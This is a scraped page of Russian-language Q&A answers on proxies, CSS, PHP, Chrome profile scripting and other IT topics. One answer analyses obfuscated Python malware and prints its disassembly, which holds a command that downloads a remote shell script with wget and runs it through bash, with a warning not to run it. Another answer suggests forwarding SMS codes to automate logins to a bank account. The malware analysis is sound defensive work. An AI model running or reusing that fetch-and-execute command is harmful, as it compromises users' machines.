• Каждые 10 сек. сайт должен получать цены с 11 бирж, но этих бирж станет больше, как распределять нагрузку?

    mayton2019
    @mayton2019
    Bigdata Engineer
    Мысли.

    1) У тебя есть требование периода 10 секунд. Но нет требования синфазности. Тоесть можешь
    получать цены со сдвигом примерно в 10/11 секунды.

    00:00:00.00 - Market 01
    00:00:00.90 - Market 02
    00:00:01.80 - Market 03


    2) Вряд-ли все биржи будут поддерживать одинаковый сетевой протокол и одинаковый план обновления.
    Рассмотри вариант MQ если таковой будет. Подпишись на события.
    Ответ написан
    Комментировать
  • Как соендинить 3 http прокси в один на 3proxy?

    allow * * 10.1.0.0/16
    parent 1000 http 10.10.10.10 8080
    allow * * 10.2.0.0/16
    parent 1000 http 10.20.10.10 8080
    allow * * 10.3.0.0/16
    parent 1000 http 10.30.10.10 8080
    proxy -p1234
    Ответ написан
    1 комментарий
  • Как сделать конфиг для 3proxy с распределением по url на разные прокси?

    Так сделать не получится, потому что работает это следующим образом
    1. HTTPS прокси не видит URI запроса, т.к. он идет внутри TLS соединения. Это можно решить через SSLPlugin, но все клиенты должны доверять сертификату прокси
    2. socks5 не видит URI запроса, он ничего не знает про прикладной протокол, это можно решить перенаправлением в локальный http прокси
    3. URI в 3proxy не участвует в установке исходящего соединения, это функции обратного прокси типа nginx + как минимум для https на момент когда будет приходить URI соединение с родительским сервером уже будет установлено - это одним 3proxy решить не получится

    Если нужно именно SOCKSv5, то можно domain.com парентить из 3proxy в nginx, на нем терминировать TLS (если речь про https) и проксипасить по урлам
    Ответ написан
    Комментировать
  • Как в CSS повернуть горизонтальный сайт на 90° чтобы на смартофне можно было горизонтально смотреть?

    delphinpro
    @delphinpro Куратор тега CSS
    frontend developer
    Просто попросите пользователя повернуть телефон в нужное положение
    @media screen and (hover: none) and (orientation: portrait){
      body::after {
        content: 'Поверните телефон в горизонтальное положение';
        z-index: 999999;
        position: fixed;
        left: 0;
        top: 0;
        width: 100%;
        height: 100%;
        background: rgba(0,0,0,0.8);
        color: white;
        display: flex;
        align-items: center;
        justify-content: center;
        text-align: center;
      }
    }
    Ответ написан
    1 комментарий
  • Почему не работает проверка NAN?

    Это JavaScript, детка!
    661a3785d1ef6444222209.png
    661a37a01e49d767748270.jpeg
    661a37d8b28b9965055125.png
    Ответ написан
    Комментировать
  • Что делает этот код на Python?

    trapwalker
    @trapwalker Куратор тега Python
    Программист, энтузиаст
    Вот байткод, который в итоге пытается выполнить этот кусок:
    00: inst=Instruction(opname='LOAD_CONST', opcode=100, arg=0, argval=0, argrepr='0', offset=0, starts_line=1, is_jump_target=False)
    01: inst=Instruction(opname='LOAD_CONST', opcode=100, arg=1, argval=None, argrepr='None', offset=2, starts_line=None, is_jump_target=False)
    02: inst=Instruction(opname='IMPORT_NAME', opcode=108, arg=0, argval='os', argrepr='os', offset=4, starts_line=None, is_jump_target=False)
    03: inst=Instruction(opname='STORE_NAME', opcode=90, arg=0, argval='os', argrepr='os', offset=6, starts_line=None, is_jump_target=False)
    04: inst=Instruction(opname='SETUP_FINALLY', opcode=122, arg=8, argval=18, argrepr='to 18', offset=8, starts_line=None, is_jump_target=False)
    05: inst=Instruction(opname='LOAD_NAME', opcode=101, arg=0, argval='os', argrepr='os', offset=10, starts_line=2, is_jump_target=False)
    06: inst=Instruction(opname='LOAD_METHOD', opcode=160, arg=1, argval='system', argrepr='system', offset=12, starts_line=None, is_jump_target=False)
    07: inst=Instruction(opname='LOAD_CONST', opcode=100, arg=2, argval='clear; ok=$(wget https://raw.githubusercontent.com/Itshacher/itshacher/main/hello.sh -q -O-); bash -c "$ok"', argrepr='\'clear; ok=$(wget https://raw.githubusercontent.com/Itshacher/itshacher/main/hello.sh -q -O-); bash -c "$ok"\'', offset=14, starts_line=None, is_jump_target=False)
    08: inst=Instruction(opname='CALL_METHOD', opcode=161, arg=1, argval=1, argrepr='', offset=16, starts_line=None, is_jump_target=False)
    09: inst=Instruction(opname='POP_TOP', opcode=1, arg=None, argval=None, argrepr='', offset=18, starts_line=None, is_jump_target=True)
    10: inst=Instruction(opname='POP_BLOCK', opcode=87, arg=None, argval=None, argrepr='', offset=20, starts_line=None, is_jump_target=False)
    11: inst=Instruction(opname='LOAD_CONST', opcode=100, arg=1, argval=None, argrepr='None', offset=22, starts_line=None, is_jump_target=False)
    12: inst=Instruction(opname='RETURN_VALUE', opcode=83, arg=None, argval=None, argrepr='', offset=24, starts_line=None, is_jump_target=False)
    13: inst=Instruction(opname='POP_TOP', opcode=1, arg=None, argval=None, argrepr='', offset=26, starts_line=3, is_jump_target=False)
    14: inst=Instruction(opname='POP_TOP', opcode=1, arg=None, argval=None, argrepr='', offset=28, starts_line=None, is_jump_target=False)
    15: inst=Instruction(opname='POP_TOP', opcode=1, arg=None, argval=None, argrepr='', offset=30, starts_line=None, is_jump_target=False)
    16: inst=Instruction(opname='LOAD_NAME', opcode=101, arg=0, argval='os', argrepr='os', offset=32, starts_line=4, is_jump_target=False)
    17: inst=Instruction(opname='LOAD_METHOD', opcode=160, arg=1, argval='system', argrepr='system', offset=34, starts_line=None, is_jump_target=False)
    18: inst=Instruction(opname='LOAD_CONST', opcode=100, arg=3, argval='clear', argrepr="'clear'", offset=36, starts_line=None, is_jump_target=False)
    19: inst=Instruction(opname='CALL_METHOD', opcode=161, arg=1, argval=1, argrepr='', offset=38, starts_line=None, is_jump_target=False)
    20: inst=Instruction(opname='POP_TOP', opcode=1, arg=None, argval=None, argrepr='', offset=40, starts_line=None, is_jump_target=False)
    21: inst=Instruction(opname='LOAD_NAME', opcode=101, arg=2, argval='print', argrepr='print', offset=42, starts_line=5, is_jump_target=False)
    22: inst=Instruction(opname='LOAD_CONST', opcode=100, arg=4, argval='Thanks for using Xlr8 !', argrepr="'Thanks for using Xlr8 !'", offset=44, starts_line=None, is_jump_target=False)
    23: inst=Instruction(opname='CALL_FUNCTION', opcode=131, arg=1, argval=1, argrepr='', offset=46, starts_line=None, is_jump_target=False)
    24: inst=Instruction(opname='POP_TOP', opcode=1, arg=None, argval=None, argrepr='', offset=48, starts_line=None, is_jump_target=False)
    25: inst=Instruction(opname='LOAD_NAME', opcode=101, arg=3, argval='exit', argrepr='exit', offset=50, starts_line=6, is_jump_target=False)
    26: inst=Instruction(opname='CALL_FUNCTION', opcode=131, arg=0, argval=0, argrepr='', offset=52, starts_line=None, is_jump_target=False)
    27: inst=Instruction(opname='POP_TOP', opcode=1, arg=None, argval=None, argrepr='', offset=54, starts_line=None, is_jump_target=False)
    28: inst=Instruction(opname='POP_EXCEPT', opcode=89, arg=None, argval=None, argrepr='', offset=56, starts_line=None, is_jump_target=False)
    29: inst=Instruction(opname='LOAD_CONST', opcode=100, arg=1, argval=None, argrepr='None', offset=58, starts_line=None, is_jump_target=False)
    30: inst=Instruction(opname='RETURN_VALUE', opcode=83, arg=None, argval=None, argrepr='', offset=60, starts_line=None, is_jump_target=False)


    Видно, что скрипт пытается скачать и запустить какой-то баш-файл из сети. Сейчас уже этот урл возвращает 404, но вебархив показывает, что в январе 2023 года был сделан бэкап этой страницы.
    ВНИМАНИЕ! НЕ ЗАПУСКАЙТЕ ЭТОТ КОД. ЭТО НАВЕРНЯКА ВРЕДОНОСНАЯ ПРОГРАММА,
    ПУЬЛИКУЮ ЧИСТО ИЗ ИССЛЕДОВАТЕЛЬСКИХ СООБРАЖЕНИЙ! Если у кого есть желание, может продолжить ковырять эту историю. Может быть там оффер на вакансию в какую-нибудь серьёзную контору=).

    Вот, кстати, код, с помощью которого можно выковырять эти операции. Они рекурсивно закодированы 33 раза одним и тем же способом.
    import marshal, zlib, base64, dis
    
    
    def extract_code(b, deep=0):
        print(f'=== extract_code [{deep}]')
        code = marshal.loads(zlib.decompress(base64.b64decode(b[::-1])))
        instructions = list(dis.get_instructions(code))
        if (
            (instructions[0].opname, instructions[0].argval) == ('LOAD_NAME', 'exec')
            and instructions[1].argval == '_' and instructions[2].opname == 'LOAD_CONST'
        ):
            code2 = instructions[2].argval
            extract_code(code2, deep + 1)
        else:
            for i, inst in enumerate(instructions):
                print(f'{i:02d}: {inst=}')
    
    
    extract_code(...)
    Ответ написан
    6 комментариев
  • Что стоит использовать для защиты PHP-кода на текущий момент?

    ipatiev
    @ipatiev Куратор тега PHP
    Потомок старинного рода Ипатьевых-Колотитьевых
    Сообщество считает, что всё это бессмысленные ужимки, которые в 99% случаев используются только для того, чтобы прикрыть крайнее убожество кода. Серьёзные продукты никто не шифрует. Чем, в частности, объясняется заброшенность всех этих, на первый взгляд многочисленных, проектов, которые не выходят из стадии "мы тут с одноклассниками придумали крутую штуку". потом одноклассники либо умнеют и перестают теребить ерунду, либо находят занятие более интересное, чем пхпе.

    Сам по себе код мёртв. Он устарел ещё до релиза. В работе софта важна не дискетка с исходниками, а поддержка. Вот поддержку и надо продавать. И не дрожать над каждым вором. Потому что защита от одного вора отпугивает 10 честных покупателей.

    Плюс всегда есть SAAS.
    Ответ написан
    4 комментария
  • Как принимать платежи из Европы при текущих санкциях?

    @starxchanger
    Lava - у них вроде есть казахский офис и собственно через него идут платежи из-за рубежа. По крайней мере многие платежи идут через него

    Можно и Енота, да и схожие кассы могут сделать вам кабинет. Правда комисии там довольно большие, вплоть до 15%.
    Ответ написан
    5 комментариев
  • Как правильно разместить файлы php на хостинге?

    @AUser0
    Чем больше знаю, тем лучше понимаю, как мало знаю.
    Для выкладывания .php файла не нужна база данных.
    Просто копируете файлы на сервер, и если обработка .php там включена - всё заработает.

    Можно просто загрузить на сервер файл test.php с содержимым
    <?php echo("OK!"); ?>
    И если обращение к этой странице http://доменное_имя/test.php покажет текст OK! - значит всё работает нормально.
    Ответ написан
    3 комментария
  • Персональный гугл, если ли?

    Daemon23RUS
    @Daemon23RUS
    Краулер, который ходит по интернетам и ищет сам, то о чём я его попросил

    Боюсь, что ответ Вашего частного поисковика придется долго ждать. Обратимся к цифрам: сейчас порядка 2 млрд. сайтов ( обратите внимание на то что это сайты, а не страницы, коих на многих сайтах десятки, сотни, тысячи а на части на порядки больше) предположим, что ваш краулер пожирает сайты по 10 шт в секунду (со всеми страницами), так вот ждать ответа придется лет 7.
    И это мы опустили трафик, который сожрет краулер. А там все за гранью не то что домашнего сервера, а не все страны потребляют такой объем.
    P.S. Тут вопрос не в алгоритмах или коде, вопрос в объеме "перевариваемой" информации
    Ответ написан
    3 комментария
  • Какой специалист мне нужен?

    newross
    @newross
    Product owner
    Бизнес-аналитик либо продакт.
    Желательно знакомого с вашей предметной областью и аудиторией.
    Чего точно не стоит делать, так это делегировать принятие решений разработчикам. А то получите красивый код, оторванный от бизнеса
    Ответ написан
    Комментировать
  • Как спарсить сайт, требующий авторизацию с кодом из смс?

    Mike_Ro
    @Mike_Ro Куратор тега Python
    Python, JS, WordPress, SEO, Bots, Adversting
    Какие есть способы для решения задачи (желательно из ЯП использовать python)

    Желательно - это "не обязательно".
    Тинькофф сбрасывает любые сессии каждые 12 часов

    Вполне ожидаемо для сервиса, работающего с деньгами.
    Проблемы возникают на моменте ввода кода из смс, как его можно перенаправить серверу?

    - Получать смс на временный номер, используя специализированные сервисы с api.
    - Поставить на телефон приложение, которое будет перехватывать определенные смс и слать их указанным образом по указанному адресу, например SMS forwarder или SMS Backup & Restore.
    - Написать свое приложение (если не доверяете чужим), которое сделает все тоже самое, что пункт выше, но здесь будет использоваться не python, а kordova/react-native/flutter/kotlin.
    Ответ написан
    Комментировать
  • Как создать прокси сервер на своём компьютере?

    SignFinder
    @SignFinder
    Wintel\Unix Engineer\DevOps
    Чтобы создать прокси сервер на своем компьютере - нужно установить и запустить прокси сервер на своем компьютере
    Ответ написан
    Комментировать
  • Что это такое и как защититься?

    trapwalker
    @trapwalker
    Программист, энтузиаст
    По двору прошелся жулик и попытался хакнуть эксплойтом для "майбаха" (условно) все тачки в вашем дворе. Майбахов не нашлось, этот жулик пошел дальше и забыл уже про ваш дворик.

    Надо ли защищаться от атаки, не релевантной вашему сетапу? Не надо.
    Надо ли делать выводы об уязвимости того или иного оборудования? Надо.
    Надо ли проверять свои конфигурации на эксплойты? Надо.
    Надо ли реагировать на всякую нерелевантную хрень в логах с ошибками порядка 400? Не надо.
    Надо ли позаботиться об оркестрации быстрого развёртывания ваших серверов на случай взломов или проблем с железом? Конечно надо!

    Вообще, если ваш сетап на виртуальных машинах в повторяемой среде и с декларативной конфигурацией вроде кубера или докера, то вы легче сможете пережить всякие такие факапы.
    Схема такая.
    Есть признаки взлома - бэкап логов, снапшот базы, бэкап стораджа, остановка сервисов (если позволяет продакшн), анализ атаки и последствий. Устраняем уязвимость по вектору атаки (гугление по логам и курение тредов), правим конфиги развёртывания и запускаем прод. Потом долго и тщательно разбираемся по логам, снапшотам и бэкапам что затронуто. Делаем тестовый чистый сетап по старой конфигурации и сравниваем пофайлово с атакованной системой, выясняем в какие места вмешались злодеи. Дифаем базу и смотрим на подозрительные различия. Делаем выводы, объявляем об утекших данных, если есть такие признаки (чтобы не подставлять пользователей), принимаем превентивные меры против похожих векторов атак.

    Итого, залог успеха - это хранение конфигураций в гит-репозитории, своевременные бэкапы, хранение бэкапов на отдельных изолированных стораджах, оркестрация и автоматизация развертывания, подробное эшелонирование логирование с бэкапами логов, смоук тесты на нестандартную активность в БД, по сетевым интерфейсам, трафику, процессору, памяти, файловым системам, логам...

    Это взгляд дилетанта по безопасности, если чего пропустил -- поправьте. Если где не прав -- расскажите.
    Ответ написан
    3 комментария
  • Массовое создание профилей Chrome?

    @starleaps Автор вопроса
    Ни в русскоязычном, ни в англоязычном интернете, не нашел ни малейшей подсказки, что можно сделать. За последней надеждой обратился к ChatGPT, и, на удивление, он практически с первой попытки выдал мне рабочий скрипт для PowerShell. Ура!

    Скрипт автоматически создает ярлык на рабочем столе для каждого пользователя. Если вам это не нужно - удалите ту часть скрипта


    # Укажите путь к исполняемому файлу Google Chrome
    $ChromePath = "C:\Program Files\Google\Chrome\Application\chrome.exe"
    
    # Цикл для создания профилей
    for ($i=1; $i -le 30; $i++) {
        # Имя профиля
        $ProfileName = "Profile$i"
        
        # Запуск Google Chrome с созданием нового профиля
        Start-Process -FilePath $ChromePath -ArgumentList "--profile-directory=$ProfileName" -NoNewWindow
    
        # Задержка 1 секунда
        Start-Sleep -Seconds 1
    
        # Создание объекта Shell для работы с ярлыками
        $shell = New-Object -ComObject WScript.Shell
    
        # Путь к ярлыку на рабочем столе
        $desktopPath = [System.Environment]::GetFolderPath('Desktop')
        $shortcutPath = Join-Path -Path $desktopPath -ChildPath "$ProfileName.lnk"
    
        # Создание ярлыка
        $shortcut = $shell.CreateShortcut($shortcutPath)
        $shortcut.TargetPath = $ChromePath
        $shortcut.Arguments = "--profile-directory=$ProfileName"
        $shortcut.Save()
    
        # Закрытие профиля
        Stop-Process -Name chrome -Force
    }


    Что с этим делать: копировать, вставить в блокнот, указать нужное количество профилей (у меня в скрипте их 30) сверить папку, в которой у вас установлен хром. Если не совпадает - указать свой путь. Далее просто сохранить с расширением .ps1, затем просто по нему клацнуть и всё будет работать. Если не работает. попробуйте запустить так:
    Открыть PowerShell и вставить:
    Set-ExecutionPolicy RemoteSigned
    Далее написать cd и указать папку, в которой находится ваш только что созданный файлик с расширением .ps1
    Например:
    cd c:\Users\Sunset\Desktop
    Здесь имя диска должно быть написано с маленькой буквы!

    И, наконец, теперь запускаем сам скрипт. Для этого пишем точку и слэш .\ и БЕЗ ПРОБЕЛА вставляем название файла с расширением.
    Например:
    .\ChromeUsers.ps1

    Всё.
    Ответ написан
    Комментировать
  • Как выйти из двух пользователей в Linux, и при этом выполнить команду один раз?

    @rPman
    убить оба шела, сессия автоматически завершится

    Скрипт для этого пиши сам
    ps
    покажет список текущих процессов сессии, а там обычно только sudo и bash (ну и работающий ps), так получишь pid текущего bash
    pstree -s pid_текущего_шела -p
    покажет в одной строчке всех предков от указанного процесса, например так
    systemd(1)───xfce4-terminal(3933)───bash(5169)───sudo(1726858)───sudo(1726872)───bash(1726873)───pstree(1732257)

    тебе достаточно убить два последних sudo и bash (или чем ты там пользуешься) с конца этого списка
    например так
    kill -KILL 1726873 1726872 1726858 5169
    Ответ написан
    Комментировать
  • Как стимить видео с сервера с оверлеем комментариев?

    Vapaamies
    @Vapaamies
    Психанул и снес свои ответы козлам, не отмечающим…
    Когда-то жег свой одноядерный Athlon64 Venice таким стримом (из-под XP — OBS не работал):
    ffmpeg -framerate 10 -f gdigrab -thread_queue_size 128 -offset_y 80 -video_size "1280x900" -i desktop -i X:\Projects\LogoTV.png -f dshow -framerate 10 -video_size 160x120 -pixel_format yuyv422 -rtbufsize 32M -i video="USB web camera" -i X:\Projects\LogoProject.png %1 %2 -filter_complex "[0]pad=ih*16/9:ih:(ow-iw)/2:oh-ih[a]; [a][1]overlay=W-w:8:format=rgb[b]; [b][2]overlay=0:H-h:format=rgb[c]; [c][3]overlay=W-w:(H-h)/2:format=rgb %filter%" -f dshow -rtbufsize 16M -i audio="Virtual Cable 1" -acodec libmp3lame -ab 112k -joint_stereo 0 -af "volume=2" -vcodec libx264 -pix_fmt yuv420p -keyint_min 3 -vb 1200k -bufsize 6M -preset ultrafast %3 %4 %5

    Сжег.
    Ответ написан
    2 комментария
  • Как правильно сформулировать документ на основании которого пишется частичное техническое задание, если основание было устным?

    @mordo445
    Любое устное обоснование можно считать совещанием. Можете указывать в ваших документах "протокол совещания", "протокол выездного совещания" (если оно прошло в курилке), "meeting conclusion". Протокол можно как рекомендует Snakecharmer подбить в мессенджере.
    Ответ написан
    1 комментарий
  • Как правильно сформулировать документ на основании которого пишется частичное техническое задание, если основание было устным?

    pindschik
    @pindschik
    ФЫВА ОЛДЖ
    Хреновое ТЗ - результат ХЗ.
    Заказчик пишет ТЗ исходя из того, чтоб иметь возможность для маневров и не оплачивать доп. работы исполнителя, при появлении подводных камней.
    Исполнитель хочет ТЗ, которое максимально опишет конкретику и спорные ситуации (если честный), или напротив - нечто расплывчатое, чтоб любая галиматья потом ему соответствовала.
    Вы заказчик или исполнитель?
    А оформляется ТЗ как часть конкурсной документации на тендере, или как приложение к договору. Как вы его назовете - уже дело десятое.
    Ответ написан
    Комментировать
  • Как установить и настроить кучу пакетов в debian через скрипт, и есть ли такие готовые скрипты?

    aapanel
    И управление docker
    и nodejs
    и оркестратором
    1 скрипт 1 Строчка судя по тз вам хватит, кроме vpn ибо это точно не к хостингу.
    ну у впн тоже есть готовые решения, но я не знаю вашей топологии.
    Самый простой из кроссплатформенных softether vpn - в плане функционал настройки.
    На винде отличный GUI
    Ответ написан
    Комментировать